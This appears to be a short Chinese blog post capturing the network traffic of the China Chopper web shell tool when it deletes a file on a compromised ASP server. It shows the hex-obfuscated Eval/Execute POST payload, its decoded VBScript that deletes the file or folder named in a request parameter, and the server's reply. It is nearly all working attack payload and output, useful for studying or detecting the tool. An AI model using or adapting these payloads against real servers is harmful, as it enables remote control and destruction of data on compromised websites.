菜刀ASP 删除文件抓包

http://blog.csdn.net/webxscan     神龙

删除文件

webxscan=Eval   ("Execute(""On+Error+Resume+Next:Function+bd%28byVal+s%29%3AFor+i%3D1+To+Len%28s%29+Step+2%3Ac%3DMid%28s%2Ci%2C2%29%3AIf+IsNumeric%28Mid%28s%2Ci%2C1%29%29+Then%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26%22%22%22%22%29%22%22%22%22%29%3AElse%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26Mid%28s%2Ci%2B2%2C2%29%26%22%22%22%22%29%22%22%22%22%29%3Ai%3Di%2B2%3AEnd+If%22%22%26chr%2810%29%26%22%22Next%3AEnd+Function:Response.Write(""""->|""""):Execute(""""On+Error+Resume+Next:""""%26bd(""""44696D20503A503D5265717565737428227A3122293A5365742046533D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A49662046532E466F6C6465724578697374732850293D74727565205468656E3A46532E44656C657465466F6C6465722850293A456C73653A46532E44656C65746546696C652850293A456E642049663A5365742046533D4E6F7468696E673A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A456C73653A533D2231223A526573706F6E73652E57726974652853293A456E64204966"""")):Response.Write(""""|<-""""):Response.End"")")&z1=C%3A%5C%5CDocuments+and+Settings%5C%5Ca%5C%5C%D7%C0%C3%E6%5C%5Cwww%5C%5C.%5C%5Cweb.sql




Dim P
P=Request("z1")
Set FS=CreateObject("Scripting.FileSystemObject")
If FS.FolderExists(P)=true Then
FS.DeleteFolder(P)
Else
FS.DeleteFile(P)
End If
Set FS=Nothing
If Err Then
S="ERROR:// "&Err.Description
Else
S="1"
Response.Write(S)
End If




->|1|<-